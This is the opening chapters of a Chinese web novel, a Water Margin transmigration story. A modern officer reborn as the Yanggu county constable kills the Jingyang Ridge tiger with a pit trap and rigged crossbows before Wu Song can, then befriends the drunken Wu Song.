《水浒开局在阳谷县当都头》 第1章 什么?让我去打虎? “苏都头,快些去吧,知县相公可又要发怒了。” 眼前站着一个男人正满脸焦急看着苏武,他身穿皂色公衣、胸前系着红巾、头戴范阳笠,腰间还别着一把不算很长的腰刀…… 苏武有些发愣,他左右看了看,发现自己躺在一张古装剧里的榻上,一间稍显老旧的房屋内,左右还有一些古代的家具,倒也没其他多余的东西了。 苏武又低头看了看自己,发现自己的衣装打扮与眼前这个汉子很是相似,转头也看到了榻边也放着一柄腰刀…… 死了,这是确定的,准确来说是牺牲,牺牲在了西南边陲打击犯罪的战斗里,也算死得其所。 穿越了?这有些不确定,毕竟那都是故事里的事。 苏武从榻上坐起身来,发现屁股传来一种火辣辣的疼痛直冲天灵盖,疼得他下意识龇牙咧嘴起来:“哎呀……” 眼前的男人连忙上前来扶:“都头慢些慢些,昨日才挨的杀威棒,虽然只有十下,已然也是肿胀起来了,好在兄弟们下手知道轻重,但今夜若是还猎不到景阳冈上的那只大虫,明日知县相公怕就不是这么好打发的了……” 苏武只感觉这屁股是真他妈疼! 哦,想起来了,苏武想起来了…… 他是阳谷县的都头,最近景阳冈上陡然来了一只正值壮年的吊睛白额大虫,已然吃了不少来往阳谷县的商旅之人。 这事已然闹得人心惶惶,景阳冈是附近州县的交通要道所在,州府里下了几番催促的公文,让阳谷县派人捕杀大虫,阳谷知县孟义自然就把这个任务下到了县衙都头苏武的身上。 苏武也是想尽了办法,不仅带着手下心腹的衙差十几人,还纠结了十里八乡的猎户四五十人。 一个来月了,夜夜往景阳冈上去捕,大虫没捕到,还损失了七八个猎户。 一捕不到,二捕不到,州府里的公文也就越发严厉,知县也无奈,只有更加催促苏武去捕。 这不,久捕不到,知县孟义也被上司连连训斥,苏武这个都头也就挨了板子,不仅苏武挨了板子,连带一些衙差与猎户都跟着挨了板子。 其他人倒也还好,苏武是知县孟义亲自盯着打的,虽然打人的衙差也放了水,但苏武着实也被打得不轻…… 苏武忽然脑袋里想起了这些,陡然心中一惊,真穿越了? 这事怎么听得这么熟悉? 这不是武松打虎的故事吗?三碗不过岗,武松喝醉了上了景阳冈,酒醉之下,一通乱拳给这景阳冈上的大虫打死了…… 然后……武松就变成了阳谷县的都头。 想到这里,苏武心中一惊,原来我穿越成了武松前任的那个都头了? 倒也合理,人家干了你干不了的事,人家自然就成了都头,你自然是哪凉快哪待着去。 这不倒霉催的吗? 苏武摸了摸自己那火辣辣的屁股,疼得是那么真实,疼得是那么的……疼! 这虎怕是难打,这屁股怕还要挨板子…… “都头,都头……”眼前的汉子看着苏武发愣的模样,便喊了两声。 “嗯,我活着呢……”苏武随口答着,活着,真好。 眼前这汉子显然是苏武在衙门里的心腹,名叫董坚,阳谷县的衙差。 “都头也不要太心急了,今夜,咱们总能想到办法的……”董坚只以为自家都头是急火攻心发了懵,所以安慰两句。 苏武心中也想,打枪他行,打架他也算受过专业训练,也是一把好手,打虎,一时之间他都不知道从何下手,还是一只已经吃了七八个专业猎户的壮年猛虎。 难道……真的一个滑铲过去? 更何况捕虎这件事也没那么简单,这在山中的老虎也不傻,它在暗处,人多势众的时候,它也会躲着不出现,有人落单的时候,就很容易葬身虎口。 即便大批人马搜捕的时候碰到了,虎在山中来去如风,追都追不上…… 这可怎么捕? 说起来,苏武这屁股,也是真冤。 “走吧走吧,也别让知县等急了……”苏武摸着他的屁股,出门而去。 看着阳谷县的街道,人来人往,街边小楼多是二层,诸般店铺也是鳞次栉比,忽然有一种恍若隔世的感觉。 记忆里,这阳谷县也是极为繁华富庶之地,有运河从县里过,更是商贾聚集所在,也是官府水路收税的关键节点之一,要问什么运河? 大名鼎鼎的京杭大运河,从隋朝开凿之后,这条运河就是南北经济沟通的大动脉,如今这大宋朝的富庶,这条运河的作用也是极大。 只是这大宋朝,好似也到了亡国的边缘,北方辽国倒是其次,辽国再北,女真人已然开始要崛起了。 想不得这么多,苏武就这么随着记忆走到了县衙里。 倒也不去公堂,直接往后衙去,知县孟义五十来岁,早已是老头模样。 这家伙,说他是好人吧,他又能收阳谷县鼎鼎大名的西门大官人的钱,胡乱定了潘金莲杀武大郎的案子。 要说这家伙是坏人吧,武松杀人报仇之后,他又能轻判案件,给武松留了一条活路。 知县孟义看着苏武进来,却也先问:“十个板子,倒也还好吧?” “知县相公留情,卑职无妨。”苏武也知道这话语该怎么答。 说起来,“相公”这种称谓,最早专门指那些朝廷里的高官大员,乃至宰相之类。 也不知为何,而今这大宋,相公泛滥了,是个文官,但凡要表示尊敬,下面人便称相公。 孟义叹了一口气:“唉……也不是非要与你过不去,也是上官实在催得紧,屡屡训斥几番了,再捕不到这只大虫,本县也就要告老还乡了,无奈何也……” “相公自有相公的难处,我等自是奋力就是……”苏武答着,心思已然在旁处了,只想,也不知武松这个莽夫什么时候会到景阳冈来。 “唉……去吧去吧,明早啊,希望能收到你的好消息,到时候啊,你要什么好处,本县都允了你就是了……” 孟义,显然真是压力山大,若不是身份差距,说话的语气里,就差乞求了,也是无奈,总不能让他一个五十来岁的老儒生亲自去打虎吧? “这就去了!”苏武一拱手,出门去。 站在衙门口,看着眼前十几号心腹衙差,这个提着刀,那个举着叉,有人背弓箭,有人提硬弩…… 看起来也不是没有战斗力,只是一个个愁眉不展,只看着自家都头。 “都头啊,这只大虫可太难捕了,人多就躲,人少就出,碰上了又追不着,昼伏夜出,林子又密,射也射不到……这可如何是好啊?” “是啊,都头,我等也不是怕死懦弱之辈,咱们也使尽了力气,兄弟们伤也有伤了不少,猎户们死也死了七八个,这么下去,可不是个事啊……” 第2章 都头,你再好生考虑一二…… 众人士气很低,可见这段时间实在折磨人。 苏武环看左右,记忆里,这些弟兄们,都不差,还真都不是懦弱之辈,也讲义气,对他这个都头也是尊敬有加…… 还是得想办法,不然这一通板子一通板子的挨,人心也就散了。 既然到了这北宋末年,生存之道再明显不过,有人手才有生存的保证,这都头职位虽然不算什么官,但若真失了这个职位,苏武一时之间,还真不知如何是好。 等不到武松了,也不能等武松了,武松来了,苏武就真的哪凉快哪待着去了。 得干! “弟兄们,今夜,怎么着也当把这只大虫给捕了!”苏武说了一句提气的话语。 董坚第一个开口:“都头,你说,怎么干?咱兄弟们此番把命豁出去了!” “对,把命豁出去了!” “都头想个主意吧!” 就看着举刀的举刀,挥叉的挥叉,士气好似真回来了不少,只是众人那一脸期待期盼的眼神,都聚焦在苏武一人身上。 其实也是无奈,哪个没有一家老小? 他们自是不知道不久之后,有个叫做武松的莽夫会横空出世来办成此事,衙门里一个月一贯五的月俸,是一家老小的生计,若是这份工作没有了,生计也就没有了。 想主意吧,先出发,一边往城外去一边想,景阳冈下,也还有几十号猎户等着汇合,只待夜里,众人又要再一次进那景阳冈的密林里去。 想办法,还能让这点事把人憋死? 埋伏?虎在林中,远比人要警觉,便是嗅觉也远超于人,这只虎也不是一般的虎,是名动天下千年的虎,智商显然不低,也埋伏了许多次,没有一次成功的。 围猎?若真是要围猎,就如今衙差与猎户加在一起,也不足七八十号人手,偌大山岗,哪里又围得住?来上几千号人还差不多,那得要军队。 阳谷县又哪里调得动如此规模的军队? 好似只有一个办法了,如武松那般,单打独斗? 这个念头一起,苏武自己都吓了一跳,若是有支枪……苏武还真下意识去摸了摸自己的腰间,腰间空空,想多了…… 没有热武器,真的单打独斗,那真是去送菜,便是武松若不是酒醉疯狂之下,还正好幸运中拿住了老虎后背脖颈的软肋,也不一定真的打得过那只大虎。 哎呀,头疼! 先到地方再说吧…… 走得两个时辰,整整一个上午,终于是到了地方,山并不十分高,但连绵不绝,林子密得十几步外就被枝叶遮掩得严严实实了。 景阳冈就是这一片连绵不绝茂密中的一处矮山岗,其实并不难翻越,所以这里才会是交通要道。 岗下,十里八乡聚来的四五十号猎户已然早早到了,正在歇息。 一个个看起来也是疲惫不堪,满脸愁容。 也是刀枪棍棒斧钺钩叉应有尽有,甚至有人还穿着布与绵制作染成的假虎衣,可见这些人也是绞尽脑汁了。 看着苏武到了,众多猎户一个个有气无力起身来,给苏武行礼。 “不必客气了,一个多月了,日夜颠倒,诸位也是疲惫不堪,抓紧时间休息吃点东西吧……” 苏武说完,也走到一边席地而坐,早间还未吃饭,中午又到了,好在众多衙差带了些炊饼干粮。 该吃吃该喝喝,就看董坚递来炊饼,也说:“咱阳谷县,就数武大的炊饼做得最好,个头大料也足,多吃几个吧,便是死也做个饱死鬼。” “莫要胡言,今夜定然解决此事。”苏武接过炊饼,越发感觉压力山大,再看这几十个猎户十几个衙差,当大哥也真不是那么好当的。 武大,王婆,西门大官人,潘金莲,武松…… 阳谷县里故事多了啊! 苏武吃起了炊饼,还别说,武大好手艺,这炊饼还真不错。 嗯……兴许也是潘金莲的好手艺。 苏武又看这几十号有气无力无精打采的人,今夜若是还这么进山,必然还是无功而返。 苏武又低头看了看自己,其实自己也是一副好身板,一米八五左右的大汉,在这群人中已然是鹤立鸡群,双臂肌肉虬结,胸前鼓胀挺立…… 显然能当这个都头,原因就在这里了。 要不?真来个单打独斗? 这个念头……有点吓人,自己吓自己,但苏武就是止不住要这么去想。 即便真要单打独斗,显然也不能真的像莽夫武松那样去干…… 埋伏,还是埋伏! 要转变思路,一个人去埋伏? 思路打开了,苏武立马站起来,左右看了看,猎户带了不少弓,带衙差里带了三副硬弩。 弩好,大宋的弩更好,冷兵器时代巅峰之作。 苏武立马问:“衙门库房里,是不是有几副破铁甲存着呢?” 董坚点头答着:“有呢,说是朝廷武备,但早已破烂不堪了,都头不会是想披着甲入山吧?那甲虽然破烂了,一副也是几十斤在身,那若是碰到大虫,岂还能追得上?” 是这个道理。 但道理变了,苏武立马说:“快,你们回去几个人,回去借辆牛车,入夜之前把那几副破甲拉来。” “都头当真?”董坚有些不解。 “当真,路上也别闲着,铁匠铺里借一些家伙,几副甲拼拼凑凑,看能不能拼一副稍微好一点的出来……” 苏武说得急,怕说慢了自己就后悔单打独斗这件事了。 “哦哦,这就去这就去……”董坚把炊饼往怀中一收,连忙起身去招呼人。 那猎户的头领叫林卯,三十来岁的汉子,不高,但很是壮硕,近前来问:“苏都头,要铁甲何用啊?” “今夜,我准备一人在山中。”苏武说出口了,也还是怕自己再不说,等下就反悔了,说出来,就没有反悔的余地了。 “这?”林卯一脸惊骇,他倒是也知道这位苏都头不是那等贪生怕死之辈,只是万万没想到这位苏都头竟然会有这种想法。 刚刚招呼人准备要回城的董坚也是立马转头来问:“都头万万不可啊,一人在山,岂是那五百斤大虫的对手,必死无疑啊!” 却见苏武一脸坚决,眼眶微微一红,左右看着众人,众人也看着他。 再听苏武说道:“一个月了,某手下兄弟伤了不少,猎户兄弟们更是折损了七八人的性命,这么下去,还不知要死多少人命,与其如此,不如某一人上山,与它拼了。” 苏武不是莽,而是有了一个比较不错的计划之后,权衡了一下利弊。 打虎英雄这个名号,他要了,这名号意义很大,不说能保住都头职位,就说眼前这七八十号人,只待今夜一过,必然一个个马首是瞻。 水浒乱世,还是北宋末年,不远的将来,国破家亡天下乱如麻。 也不说将来是不是要创业起大事,哪怕是想要个安身立命,也当要个安身立命的本钱。 这才是苏武下定决定的真正原因,既来之则安之,不论怎么样,总要能自己掌握自己的命运。 就看左右不论是衙差还是猎户,都围过来了。 “都头三思,我等众志成城就是,岂能让你一人去送命?” “是啊,都头,可不能这么干啊!” “都头,我等今夜再努力几番就是了,碰上那大虫,咱都不是怕死之人,一齐上,与它拼了!我不怕死,必要给我那葬身虎口的兄长报仇。” 说话的是个十六七岁的少年人,名叫李成,他兄长就是显然死在虎口,他本不是猎户,非要跟来。 就看众人个个上前来劝,眼中皆是担忧着急。 这些人,还真就有一种简单的淳朴情感在心中,苏武看重的也是这一点,犯这一险,值得。 就看苏武大义凛然起来:“不必多言,只听我的吩咐就是,我意已决,谁若不听,先拿到大狱里去!” “唉……”董坚无奈,跺脚捶胸。 “你还在这里作甚,快去快回,某等着你的铁甲!快去!”苏武虎目瞪去。 董坚更是无奈,一边走,一边还回头:“都头,你再好生考虑一二……” “快去快去!”苏武起了呵斥。 董坚才转头而去,不敢多言,可见平时里,苏武的威势也在。 第3章 当真响当当是条好汉 董坚带着几人走了,猎户的领头人林卯还是来劝:“都头,便是让你拿到大狱里去,我也不得不说……” “你先别说,先随我上山去,时间紧迫,先做些准备。”苏武摆着手,一马当先往景阳冈去上。 林卯急在心里,左右招呼:“快快快,快跟上都头。” 一行几十人,浩浩荡荡往景阳冈去,其实路好走,平常这里商旅如织,阳谷县有运河,周遭州府,许多生意都依托这条京杭运河南来北往。 而今,周遭州府通往阳谷县运河码头的路,一个人都没有了,那只虎只怕已经害了几十人命,也难怪知县孟义的上司这么着急。 这老虎害人命也不一定都吃了,更多是一种领地意识。 苏武一边往前走,一边眼睛到处寻找。 “都头寻什么?小人帮你寻。”林卯问着。 “寻一个林密地软之处。”苏武答道。 “那都头随小人来,往这边走,翻越此处,从北边稍稍下去一点……”林卯对这片林子比苏武还是要熟悉许多。 到了地方,一棵大树遮蔽之下,有一片松软空地,地面上干枝枯叶极多。 “好,就在这里,挖,入夜前一定要挖个大坑出来!”苏武开始布置了。 林卯是老猎户,一听就懂,连忙指挥左右:“按照都头的意思来,快挖快挖……” 众人立马开始忙碌起来。 但林卯也来说:“都头,你莫不是要以自己为诱饵,引那畜生落入坑中?这般怕也不妥啊,若是一旦失手,后果不堪设想,都头还是三思啊……” “搏命之时,有什么稳妥不稳妥的,人多无用,唯有此法,只管听我吩咐就是。”苏武自是大义凛然,这份大义凛然背后,就是邀买人心。 “都头,何必如此冒险啊?即便今夜也不成,明日最多再挨几下板子,都头一人如此犯险,若是一个不慎……” “不必多言,听我的就是,兄弟们都跟着我出来一个多月了,哪个不是有老有小?这么下去,我心何忍?” 苏武话语如此,就看林卯与众人,皆是一脸的感动,却也还是一脸的担忧。 林卯正要再说。 “不要多言了!”苏武也是一声呵斥给他。 “唉……”林卯无奈,左右看了看,又看一眼苏武,只能转头去那正在奋力挖坑的人群里,拿出腰刀使劲刨土。 坑要大,更要深,老虎跳跃能力极强,坑底还要倒竖许多刀刃,上面还要有虚掩的干枝枯叶。 还得把土远远运走,这种陷阱,猎户们自是最熟悉不过,只是工程量不小,好在人多。 众人热火朝天忙碌着。 苏武也不闲着,开始从猎户与衙差身上收罗东西,三张硬弩是一定要的,绳索,长枪长叉…… 收罗好,拢在一堆。 林卯又说:“都头,你收罗再多的兵刃弩弓,就怕到时候真伤到那畜生了,若不得要害,那畜生更发狂起来……” “你别管了,是生是死,就这一遭了。”苏武反正就是豁出去了,本来也是豁出去了。 坑还在挖,只管越深越好。 两个时辰之后,苏武才算满意,猎户们又开始制作伪装,这是他们的本命技能。 已近黄昏,董坚终于是回来了,几个人气喘吁吁抱着一副铁甲,披肩、披脖、头盔、胸甲、裙甲、护臂、护腿、护裆…… 要说大宋的步人甲,是真好,即便是几副破烂凑成的一副甲,依旧看得出其制作精良,也重达五六十斤不止。 “都头,兄弟们当真不忍你一人与那畜生搏命啊,我留下来陪着你吧,咱们两人总比一人好。”董坚还是要说,连带着还有那当真不忍的眼神看向苏武。 “就怕两人它不来了。”苏武是有考虑的,便也是想起了武松打虎的故事里,打完虎很快就碰到了两个猎户。 那虎不去找两个猎户而找武松,可见这只畜生是真的智商在线,知道审时度势。 “即便不来,也比都头一人在此搏命强……”董坚脸上写满了担忧,甚至看苏武都有了几分幽怨的眼神。 苏武也不理他了,看得那大坑表面虚掩的伪装差不多了,苏武开口安排:“入夜,你们所有人分两队,一队往山势北边去,一队往山南边去,倒也不必搜索驱赶,以免真惊了那畜生,只需呆在那里就是……” 这就是把那老虎往苏武这边赶的意思,倒也不必驱赶,那老虎既然会审时度势,就是让它只能在这附近来巡视领地,也就能发现入侵老虎领地的苏武,如此确保今夜万无一失。 林卯已然就懂,上前还要说话。 苏武就是不给他们多说的余地,先开口:“已然如此了,箭在弦上不得不发,休要多言,走吧,都走!莫要惹我发怒起来……” 苏武是目光在瞪,手在驱赶。 被赶的人,自是一步三回头,想说又不得说,不敢再说。 无奈无奈,便也只有下山去,已然布置成这样了…… 一边下山,林卯一边与董坚说:“你家都头啊,当真响当当是条好汉。” “现在说这些有什么用?我只愿都头能安然无事才好。”董坚担忧不已。 “定会无事,定会无事!”林卯这话,好似一种祈祷。 “咱们此番,可受得都头大恩了!”董坚说着,好似真要落泪,用手往眼眶去擦。 “唉……都知都头不是庸人,谁知都头竟是如此大义!”林卯叹息摇头,还依依不舍回头往山上去看。 苏武一人在山上,却还在忙碌。 三张弩得布置好,布置在高处,树杈枝叶遮蔽之处,用细绳连接扳机,然后还要在树干枝叶里隐藏细绳。 做好,还要反复试射几番,确保万无一失,也要调整弩箭落点,更要记住弩箭落点,这很重要。 然后,把那一堆长枪长叉四处去藏,藏在干枝枯叶之下,只为了不论什么时候,随时随地能随手拿到兵刃。 便是想到武松打虎的故事里,武松一根哨棒说断就断了,变成了赤手空拳,坚决要防止这种情况。 人类,万年前,之所以能是恐怖直立猿横扫地球,靠的就是武器,武器万万不能少,即便与老虎对峙,有一杆长兵器在手捅刺来去,胜算就成倍数增长。 得站在坑前,不能站在坑后,站在坑后,那老虎若是轻易不扑过来,容易失手,站在坑前,得让老虎先近身,最好先扑一下,也就是说要先躲一下…… 越想越是汗毛竖立,便是想一想,苏武就感觉到体内的肾上腺素就开始飙升。 还不保险,左右再看,寻一个近处的树,先垂下一根绳索方便攀爬上树,再在树上也放两杆长枪。 实在不行,就上树,虽然老虎也会上树,但在树上用长枪往下捅刺防守,这也是没办法的办法了,有备无患。 穿甲,一副几十斤的步人甲,穿起来虽然不便,但必须要穿,特别是披脖,更要严严实实系紧,还要与头盔系成一片。 猫科动物,扑咬的第一目标就是脖子。 只待铁甲穿好了,苏武才稍稍安心一点,有了不少安全感,腰间再别长刀,左右再放几杆长枪。 然后,苏武来来去去在各个地方演习起来,一遍一遍演习演练,他深刻知道演习的重要性。 已然也累,坐在地上,吃点武大郎家的炊饼,喝点水,再起身,四处检查一下,乃至有一些杂乱的痕迹,也要再打扫打扫,尽量让周遭都显得正常一些。 夜慢慢黑去,林子里寂静一片,只有威风吹树叶的窸窸窣窣之声…… 苏武坐在坑前,目光瞪得圆圆,丝毫不敢懈怠。 月色也起,好在月光皎洁,披洒得远处一片如银,又奈何大树有阴,只感觉阴风阵阵,吹得人毛骨悚然。 第4章 猎虎?虎在何处呢? 豁出去了! 此时再反悔也来不及了。 苏武静静坐着,时不时舔一下嘴唇,又吞一吞口水,当真口干舌燥,便也拿水来喝。 夜越发深沉。 苏武一直高度警惕,却是那老虎左等不来,右等也不来。 苏武也想,这只老虎,极其活跃,领地意识极强,远比一般的老虎要奇怪,否则也不至于有这么一个千百年的故事,所以不可能不来吧? 苏武又回头再看看自己的那些布置,再一次确定许多东西,陷阱在哪,三张强弩的瞄准点在哪,哪里藏了兵刃,哪棵树垂了绳索…… 再摸一摸身边地面枯叶里,长枪也在,就在最顺手的地方。 深呼吸,冷静! 等…… 再等…… 忽然,一阵阴风吹来,苏武浑身一震,有些冷。 左右窸窸窣窣…… 忽然,两点绿光在枝叶缝隙里一闪而逝。 来了! 来了来了! 苏武心中激动不已,浑身立马陷入了一种极致的紧张。 但他没动,自顾自再去取水囊,慢慢悠悠打开水囊,喝了一口。 忽然空气中传来一种呼呼啦啦的声音。 苏武连忙站起身来,长枪已然在手,定睛一看,一团黑影就在当面,已然只有七八步远。 苏武把长枪挺在身前,浑身汗毛倒竖,好似连头发都能根根竖起。 这一瞬间,苏武有一种后悔,甚至有一种转头就跑的冲动。 这只大虫,真大,只怕有一丈长的身躯,那身躯左右逡巡走动,眼中的绿光只盯着苏武。 好似也忌惮苏武手中的那杆锋利长枪。 “吼!” 老虎忽然张口一吼。 苏武更是紧张不已,却也还是假装后退两步…… 老虎显然就是要看到苏武这种恐惧与后退,立马往前逼近了几步。 此时,苏武才真正看清楚老虎的模样,虎头极大,比那煮饭的锅还要大,身材健硕非常,甚至能看到两只虎前腿的肌肉有棱有角。 苏武不自觉倒吸一口凉气,连忙又暗示自己要冷静。 这种情况下,又怎么冷静得了? 苏武有意去想那一个梗:是谁说要对着老虎来一个滑铲的?你来! 瞬间,苏武好似真冷静了许多,又后退了两步。 终于,老虎动了,就这么往前扑来,快速无比。 肾上腺素加持之下,苏武立马挺枪去刺。 就在这瞬间。 却是哪里想到,半空中的老虎竟然挥出了右爪,凌空把苏武刺出去的长枪打偏到一边。 电光火石之间,已然没有什么思考的余地,苏武只管就地往旁边一滚。 只听后背嘎吱作响,是一种抓心挠肝的刺耳声,是那利爪刮在铁甲片上的声音…… 穿这一身铁甲,果然是先见之明! 滚,接着再滚一下,不等全站起来,躬身转头就跑,头都不回,绕着那陷阱跑,便是慢一拍,只怕就被老虎当场摁住。 手边顺势摸起一个绳头,猛的一拉,这一套动作,已经不知演练了多少次。 就听身后“嗷呜”一声…… 射中了! 不知多少次的演习,不白演。 身后呼呼之声,陡然一听,苏武转头去看,那老虎背上右肩胛骨处射进了一支箭矢,插入极深,让它稍稍停顿了一下。 停顿之后,更是一声愤怒虎啸,然后一跃而起,在空中的大虎,躯体舒展非常,直往苏武再扑。 苏武连忙再刺长枪,这一次比上一次更狠更快! 那老虎好似右爪不灵便了,左爪来挥,长枪又偏。 这只虎,当真成精了! 好在苏武腿脚有力非常,蹬地就滚,再滚,驴打滚,不好看,但好用。 吱吱的刺耳声还是有,那虎爪还是能扒拉到苏武的侧背。 当真是好甲。 又是一根绳头,再射。 嗡嗡一声弓弦,没有老虎的惨叫,没中! 苏武已然有些连滚带爬了,为了拉开距离,手中的长枪也当标枪扔了出去,也被那老虎一下拍开…… 这老虎反应快到惊人,却也顿了顿。 再看苏武眼疾手快,再拉最后一根绳头,布置到了这个地步,演练到了这个地步,已然无以复加。 中! 中右边后腿脚掌,甚至箭矢射穿了虎掌,好弩! 这大宋朝,好甲好弩,却也能输得一败涂地。 苏武也没胜,只是拉开了距离,一人一虎,七八步的距离,不过一个虎跃而已。 苏武从地上再摸出一杆早已藏好的长枪,挺立胸前,此时此刻,别无他念,只有肾上腺素,好似感官都敏锐了许多,浑身肌肉都更加有力。 老虎已然癫狂怒吼连连,苏武甚至都能闻到虎口中散发出来的腥臭味。 苏武看了看地面,咬了咬牙,也张开嘴巴大喊:“来啊!今日不是你死就是我亡!” 就看老虎竟是稍稍后退了两步! “别跑,有种别跑!”这话,其实也不曾过脑,就是呼喊,好似呼喊也能让苏武多几分勇气。 苏武其实从来不缺乏勇气,上辈子也不曾缺乏。 勇气,就是无比恐惧之下的坚持。 只等话音一落,那虎忽然往前加速,身形已然就在空中,再一次,姿态极其舒展,虎躯,真长! 苏武一颗心,已然到了嗓子眼! 再刺! 虎掌再拍! 半空之中,一只虎掌已然就扒拉在苏武的肩膀上,依旧是虎爪与铁甲刮擦的嘎吱作响。 随后,大虎落地,把苏武也摁得身形一矮! 苏武等的就是这一刻,这一刻也演练了许多次。 就看眼前,忽然老虎屁股一矮,随即整个老虎就往后滑去。 成了! 成了成了! 老虎后腿踩空了,踩进陷阱里了,前爪却不断往前在抓…… 想抓近前眼前的苏武,也去抓那陷阱的边缘。 苏武连忙长枪猛刺,这老虎再也没有了辗转腾挪的余地,便只感觉长枪捅去,噗噗作响。 滑下去了,整个老虎都滑下去了! 但凡这只虎还能多跳一步,苏武这一赌大概就是个满盘皆输。 电光火石之间,苏武已然不管不顾,上前就去,长枪不断往陷阱里刺去,一片干枝枯叶里,什么都看不清…… 只管刺,一下一下不断刺…… “嗷呜嗷呜”之声连绵不绝。 再刺再刺! 忽然一个虎头与虎爪映入眼帘,正是老虎在拼命往陷阱外跃起,却是满身狼藉,头脑一片模糊。 再刺,再刺! 虎又落去。 已然不知刺了多少下…… 忽然苏武往地上一坐,大气粗喘。 他知道,成了,这回是真成了,陷阱里再也没有了动静,肾上腺素也去了,只感觉浑身脱力了一般。 微微凑过头去看陷阱之内,黑夜之中,树荫之下,依旧看不清什么,但那团大黑影,只静静躺着,一动不动。 苏武长出一口大气,微微扬头,喃喃自语:大宋啊大宋,我这回是真的来了。 浑身脱力的苏武,左右去看看,寻刚才水囊之处。 却是苏武忽然翻身站起,一声喊:“谁?” 有些紧张过头了,喊过之后也立马冷静不少,这岗上只有一只老虎,苏武知道。有个黑影近前来了,肯定是人。 “我是好人,本是路过,只听得半夜呼呼哈哈的,便过来瞧瞧。你是何人?在此作甚?莫不是剪径的强人?” 来人其实也看不清苏武。 苏武往地上一坐:“你不知这山里有大虫吗?半夜还路过?真是胆大包天不怕死!” “大虫?哪里来的大虫?都这般恐吓路人?不过就是想赚个宿夜的钱罢了,你与那山下酒店是一伙的吧?” 话语中,听出了几分……醉意。 苏武脑海中灵光一闪:“你吃醉了?” “没吃醉!” 来人更是近前,虽然看不清,但好大一条汉子。 来人……莫不是武松?也就只有这个莽夫大汉会吃醉酒上景阳冈…… 来得真是时候,来早一点,苏武这打虎英雄的名号怕是抢不到手了,幸好今天做了这打虎的决定,不然,明天就彻底成了个倒霉催。 “我乃阳谷县都头苏武,在此猎虎。”苏武彻底放松下来了,还能有几分笑意在脸,武二郎竟然来了,有趣。 “猎虎?虎在何处呢?”醉汉摇摇晃晃往前来。 “你近前来看不就是了……”苏武坐在地上,抬手招着。 第5章 在下武松,见过! “当真有虎?这半夜还被你猎到了?你诓骗谁呢?”武松边说边往前走,背上一个包袱,手中一根哨棒。 这武二郎,真是个浑汉。 这个浑汉,忠义在心,但着实是个莽撞人,他这一辈子,做起事来,其实并不太分对错好坏,杀起人来,那也是眼睛都不眨一下,便是无辜之辈,他只要杀得兴起,那也是手起刀落不放过。 天上降魔主,人间太岁神,武松武二郎! “我已然脱力,你头前有个大坑,黑灯瞎火可别掉下去了。”苏武已经打起了武松的主意。 武松连忙低头一看,果然,好大一个坑,坑里当真一个好大的物什,定睛再看几眼,陡然浑身一震,惊骇一语:“真有虎!” “死了!”苏武笑着说。 “好大一只吊睛白额大虫,你……你杀的?”武松隔着大坑问道,心中还有几分后怕不已。 “难不成还是你杀的?”此时此刻,苏武心情极好。 “好汉,当真好汉!如此一人夜里猎虎,好汉了不得。”武松绕着坑在走,江湖好汉,也是见猎心喜。 近前还问:“好汉可伤了哪里?” “没有伤,只是脱力累了。”苏武笑着说。 “未想夜半还能遇到这种事来,你说你是阳谷县的都头?失敬失敬……在下武松,见过!” 武松抱拳拱手就是一礼。 “酒醒了吗?”苏武问着,也抬头打量起武松,浑身上下,只看得个人高马大、肌肉鼓胀,胸前那两片,更好似如鼓起的山包。 苏武把头往后仰了仰,才从那鼓起的山包看到了武松的脸,天庭饱满,棱角分明,端端正正一条汉子,浑身上下充满了一种力量感与爆发感。 “醒了醒了,见得这般事,岂还能不醒酒?未想阳谷县还有这般一条好汉!”武松也有几分激动。 “看你也是端端一条大汉,夜半也敢往虎穴里来,定然也有几分勇武在身,今日如此夜半相遇,也算有缘,有礼了。”苏武拱手一礼。 “哈哈……我武松生平,最愿与好汉为伍,都头不弃,愿称一声哥哥!”武松也是一拱手。 等的就是这句话,地上坐着的苏武,抬手再拱,叫了一声:“武兄弟!” “哥哥称一声二郎就是!”武松笑意盈盈蹲了下来。 其实两人年岁,还不一定谁大呢。 “二郎兄弟既然酒醒,帮我一个忙。” “好说!哥哥吩咐就是……”边答着话,武松还边凑头往那陷坑里去看。 “你往南边去,南边好走,走上二三里地,能遇到一群猎户与衙差,赶快把他们都喊过来,就说我在此已经猎到了那只害人无数的大虫。” “我这就去,哥哥稍待,我脚程快,很快就回来!”热血青年武松,此时只感觉与有荣焉,只管激动,转身快跑。 苏武看着武松奔去的背影,哈哈笑着…… 没想到,还有意外惊喜,既然碰上了,那武松也就跑不了了,也暗暗庆幸,真是前后片刻,人生也就完全不同了。 也想,有武松这个降魔太岁在麾下,还真就是天胡开局,这个水浒,这个大宋,越来越有奔头了。 不得多久,热热闹闹的人群就来了。 “都头,都头!” 远远的,就开始喊,声音激动无比,是董坚。 “这里这里……”苏武回应着,还叮嘱:“看着些跑,别也掉进陷坑里了。” 董坚第一个跑到,一把搂住地上坐着的苏武,竟是在哭:“都头,你当真安然无恙?” “无恙无恙……”苏武笑着。 武松在一旁也说:“我说哥哥无恙,他还不信呢……” “都头,如此大恩,叫我等何以为报啊……”林卯也来,也上下打量着苏武。 再看身后众人,一个个既是激动,又是感动,皆争先恐后围来看,先看都头,再看陷坑。 “去,去个人,把北边人也喊过来……”苏武此时,就是表现个寻常模样,好似没什么大事一般,不过信手拈来。 “我去我去……”董坚直接起身就奔。 “好了好了,把那虎弄出来……”苏武吩咐着。 众人在看苏武,如看神明,争先恐后顺着边沿往坑了下,好似浑然不避坑下竖着的刀刃。 就听坑下激动的声音在喊。 “都头,好大,比咱们头前预想的都要大。” “真大啊,怕是不止四五百斤,六百斤也有呢!” “我看,七百斤!” “也不想想这畜生吃了多少人,光咱们猎户兄弟就吃了八人去,岂能不大?” “终于是死了终于是死了,我兄长在天之灵也可瞑目了……” 少年李成一边说着,一边又从陷坑里爬出来,一下跪在苏武面前:“都头,大恩大德,无以为报,小人给都头磕头了!” 地面咚咚在响,苏武连忙起身去扶:“也是我对不住兄弟们,若是早早一人来搏命,也不至于让你家兄长死于虎口……” “都头这是哪里话啊,是都头用命为小人兄长报仇雪恨了!”李成执意还要磕头。 苏武连连拉拽,方才把人拉拽起来。 再看左右众人,一个个皆是激动不已。 “都头威武!”倒也不知谁喊的。 就听此起彼伏:“都头威武!都头威武!” “好了,拿绳索弄出来吧……”都头只装作一个轻描淡写。 武松看得这般轻描淡写,再去看那只六百斤七百斤,还可能被喊到八百斤的大虎,越发激动:“哥哥真乃神人也!” “二郎这是往何处去啊?”苏武随口问着。 “哥哥,我本是清河县人,在家乡与人殴斗,本以为一拳把人打死了,所以逃了出来,未想啊,那厮未死,只是昏厥,所以这不就赶紧回乡去吗?” 